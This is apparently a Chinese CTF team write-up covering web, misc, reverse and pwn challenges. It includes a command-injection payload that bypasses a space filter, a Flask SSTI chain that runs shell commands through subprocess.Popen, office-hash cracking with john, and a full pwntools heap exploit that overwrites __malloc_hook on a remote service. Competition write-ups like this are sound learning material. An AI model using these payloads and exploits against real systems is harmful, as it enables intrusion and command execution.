毕业之后好久都没和队友们一起打比赛了,虽然CTF水平退步很多,但是在队友的帮助下还是做上了几个题,感谢队友的支持!

0x00 WEB

PS:WEB题目wp由我们的misc大公主——Root大佬提供。👉戳她

· Command

网页可以对输入的ip进行ping命令处理,使用管道符“|”可以达到执行两条命令的效果。

又经过fuzz发现过滤了空格,使用%09进行绕过。可以执行命令后,利用grep命令在各个大文件夹内寻找含有“lag”的内容(因为“flag”被过滤)。最终在/etc搜索到了flag。

Payload:index.php?url=127.0.0.1|grep%09-rn%09"lag"%09%09/etc/

· flaskbot

只要数字不让机器猜到(nan),且Cookies中的user输入加密后的ssti注入语句即可执行。首先爆出所有的类:

e3snJy5fX2NsYXNzX18uX19tcm9fX1syXS5fX3N1YmNsYXNzZXNfXygpfX0=
//{{''.__class__.__mro__[2].__subclasses__()}}

然后查看subprocess.Popen在哪:

import requests
import re
import html

url = "http://eci-2ze9cofh8j38jbh62g4g.cloudeci1.ichunqiu.com:8888/guess"
s = requests.session()
data = {'num':"nan"}
payloadHeader = {'Content-Type': 'application/x-www-form-urlencoded'}
cookies = {"__jsluid_h": "0bb797ec443079ac125ff7ae2067031f", "user":"e3snJy5fX2NsYXNzX18uX19tcm9fX1syXS5fX3N1YmNsYXNzZXNfXygpfX0="}
rr = s.post(url,data=data,cookies=cookies,headers=payloadHeader)
result = rr.text
result = re.findall(".*?<br/>Wow! (.*?) win",result,re.S)
result = "".join(result)
result = result.split(', ')
for i in result:
    if "subprocess.Popen" in i:
        print(result.index(i))

得到结果是258。

输入:

e3snJy5fX2NsYXNzX18uX19tcm9fX1syXS5fX3N1YmNsYXNzZXNfXygpWzI1OF0oJ2xzIC8nLHNoZWxsPVRydWUsc3Rkb3V0PS0xKS5jb21tdW5pY2F0ZSgpWzBdLnN0cmlwKCl9fQ==
//{{''.__class__.__mro__[2].__subclasses__()[258]('ls /',shell=True,stdout=-1).communicate()[0].strip()}}

可以看到根目录下的flag文件名是super_secret_flag.txt

已经知道了flag的位置和其文件名的具体格式,最后我将其构造成了:

cat /[a-z][a-z][a-z][a-z][a-z][][a-z][a-z][a-z][a-z][a-z][a-z][][a-z][a-z][a-z][a-z].txt

成功拿到flag。

e3snJy5fX2NsYXNzX18uX19tcm9fX1syXS5fX3N1YmNsYXNzZXNfXygpWzI1OF0oJ2NhdCAvW2Etel1bYS16XVthLXpdW2Etel1bYS16XVtfXVthLXpdW2Etel1bYS16XVthLXpdW2Etel1bYS16XVtfXVthLXpdW2Etel1bYS16XVthLXpdLnR4dCcsc2hlbGw9VHJ1ZSxzdGRvdXQ9LTEpLmNvbW11bmljYXRlKClbMF0uc3RyaXAoKX19
//{{''.__class__.__mro__[2].__subclasses__()[258]('cat /[a-z][a-z][a-z][a-z][a-z][_][a-z][a-z][a-z][a-z][a-z][a-z][_][a-z][a-z][a-z][a-z].txt',shell=True,stdout=-1).communicate()[0].strip()}}

0x01 MISC

· 进制反转

附件下载

题目给了一个加密的压缩包,之前做题都是zip伪加密,头一回见rar伪加密。

用winhex打开压缩包,将C4改成C0,即可解压。

解压后得到flag.wav文件

我们看到flag.wav文件最后写着flagisthesong’sname

看来是想让我们猜歌名,emmmm

打开听一下,很明显听不出来,应该是倒放的,扔到Audacity里处理一下。

先CTRL+A全选,然后选择效果,反向(时间)

emmmm,大概能听出来是首歌了,但是很明显速度不对,再改一下速度。

将速率改成0.6

能听出来了,用听歌识曲进行识别,然而QQ音乐,网易云,siri都识别不出来。。。

只能用耳朵听了,听第一句歌词为:You must think that I’m stupid

根据歌词查到歌名为Too Good At Goodbyes

那么本题的flag{TOOGOODATGOODBYES}

· 带音乐家

附件下载

下载附件得到一个decode文件和一个压缩包。

用winhex查看文件头为:4D 54 68 64,查询后为mid文件。

之前没接触过mid文件,上网一顿乱搜,搜到了一种奇怪的编程语言Velato,emmm

下载Velato,编译mid文件。

编译完运行decode.exe,得到Hello,World!(压缩包密码)

利用密码解压压缩包,得到Doc1.docx,打开后得到一串字符串

base64转不出来,那可能就是AES了

打开压缩包查看注释信息,里面有一堆空格和制表符

转换成.和-,然后摩斯电码解密,得到AESKEY9219232322

然后AES解密就可以了

· 到点了

附件下载

解压后得到三个docx文件

打开1.docx,提示我们密码为8位数字字母组合,emmm这爆破要爆破到什么时候。。。

因此考虑使用office2john.py脚本获取2.docx的哈希值。得到:

2.docx:$office$*2007*20*128*16*d2ba0951ae9b22901f90afd753835952*0bae33c42ddc6d84ff0fac39c83a264c*1899936793713d5355f5c5173b5ab1f55540e232

使用john破解该哈希值,利用8位纯数字字典爆破可得:20201024。

2.docx文档打开后,在尾部有白色字符,更换颜色后得到培根密码:

AABBAABBBAABBBAAAABBABBABABAAAAABBAAABBBBAABBBAABABABBAAABAAAABAABAABBABAAAAABAA

利用在线培根解密网址对其解密后得到明文为goodnightsweetie。

将3.docx的后缀改为zip,得到4.zip,解压后得到一张bmp图片:

因为它是bmp格式,exiftool、stegsolve等工具均无任何发现后考虑使用wbs43open。

密码就为处理2.docx后得到的内容goodnightsweetie,随便命个名。

打开文件即为flag:flag{2ec9405ac7bcfb16f5fd494bcf21337c}

0x02 REVERSE

PS:RE题目WP思路由帅哥提供。

· re1

附件下载

利用file命令发现文件是64位elf文件,先直接执行查看程序执行流程,发现输入测试字符后程序直接退出。

将文件放入ida64分析,发现无法使用f5查看为代码,因此查看调用exit的代码位置,找到下图关键位置。

使用gdb调试

$ gdb main
gdb-peda$ r
# ctrl + c 中断
gdb-peda$ ni
flag{11111111}

然后一路狂按回车到这个位置

这里开始进行‘flag{’比对,我们记录一下地址,0x55555555469c

再看我们在上面ida里的地址,0x69c

我们可以计算一下基址:0x555555554000

我们继续往下执行

到这里我们看到,rsp+0x25,那么我们可以确定flag的长度为38。

我们在ida继续分析代码,看到0x18096处有可疑代码,这里是与flag内容进行比对

我们用基址加上0x18096,下断点,然后输入38位的flag:flag{11111111111111111111111111111111}

$ gdb main
gdb-peda$ b*0x55555556C096
gdb-peda$ r
flag{11111111111111111111111111111111}

我们看到,输入的1被加密成0xe9,并与0xeb进行比对。

1的ascii为0x31,我们用0xe9-0x31=0xb8,那么反推回去,0xeb-0xb8=0x33,也就是3,那么flag第一位应该是3。

我们将ida中的数值全部复制出来

0xeb,0xf1,0x19,0xe8,0x1e,0x1e,0xf0,0xec,0xef,0x1e,0xe9,0x1e,0xec,0xec,0xe8,0xec,0x19,0x19,0xee,0x1b,0xef,0xef,0xec,0xea,0x1c,0xea,0xe8,0xeb,0xee,0xeb,0x1d,0xf1

我们看到,有些数值是小于0xb8的,因此,我们需要生成无符号数值,附上本题python脚本

c = [0xeb,0xf1,0x19,0xe8,0x1e,0x1e,0xf0,0xec,0xef,0x1e,0xe9,0x1e,0xec,0xec,0xe8,0xec,0x19,0x19,0xee,0x1b,0xef,0xef,0xec,0xea,0x1c,0xea,0xe8,0xeb,0xee,0xeb,0x1d,0xf1]

p = 0xb8

flag = ''

for i in c:
    m = i - p
    a = format(2**32 + m, 'x')[-2:]
    flag += chr(int(a,16))

print 'flag{' + flag + '}'

运行脚本即可得到flag。

0x03 PWN

· 影流之主

附件下载

EXP:

PS:PWN EXP由EDS大佬提供。👉戳他
#!/usr/bin/env python
# coding=utf-8
from pwn import *
context.log_level = 'debug'

local = 0
if local == 1:
    r=process('./ying_liu_zhi_zhu')
    #r=gdb.debug('./ygai','b * 0x400c03')
    #gdb.attach(r,'b * malloc')
    #gdb.attach(r,'b * 0x0400a00')
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
    r=remote('112.126.71.170',45123)
    libc = ELF('./libc-2.23.so')

elf = ELF('./ying_liu_zhi_zhu')
def add():
    sleep(1)
    r.sendline("1")

def edit(index,chat):
    sleep(1)
    r.sendline("3")
    sleep(0.5)
    r.sendline(str(index))
    sleep(0.5)
    r.send(chat)

def show(index):
    sleep(1)
    r.sendline("4")
    sleep(1)
    r.sendline(str(index))

def dele(index):
    sleep(1)
    r.sendline("2")
    sleep(0.5)
    r.sendline(str(index))

def inside(content):
    r.recvuntil("4: Enjoy scenery")
    r.sendline("5")

#edit(0,'cccccccc')
#add() #6
add() #0
add() #1
dele(1)
sleep(1)
r.sendline('5')
sleep(1)
r.sendline('*')
show(1)
mainarea88= u64(r.recv(8))
log.success('mainarea88:'+hex(mainarea88))
libc_base=mainarea88-0x3c4b78
malloc_hook = libc_base+libc.symbols['__malloc_hook']
realloc_hook = libc_base+libc.symbols['__realloc_hook']
free_hook = libc_base+libc.symbols['__free_hook']
system = libc_base+libc.symbols['system']
log.success('malloc_hook:'+hex(malloc_hook))
log.success('realloc_hook:'+hex(realloc_hook))
ogg = [libc_base+0x45226,libc_base+0x4527a,libc_base+0xf0364,libc_base+0xf1207]
add() #2
add() #3

dele(3)
edit(3,p64(malloc_hook-0x13)+cyclic(0x28))
add() #4
add() #5
if local == 1:
    gdb.attach(r,'b * 0x0400a00')
add() #6
edit(5,'a'*3+p64(ogg[3]))
add()

r.interactive()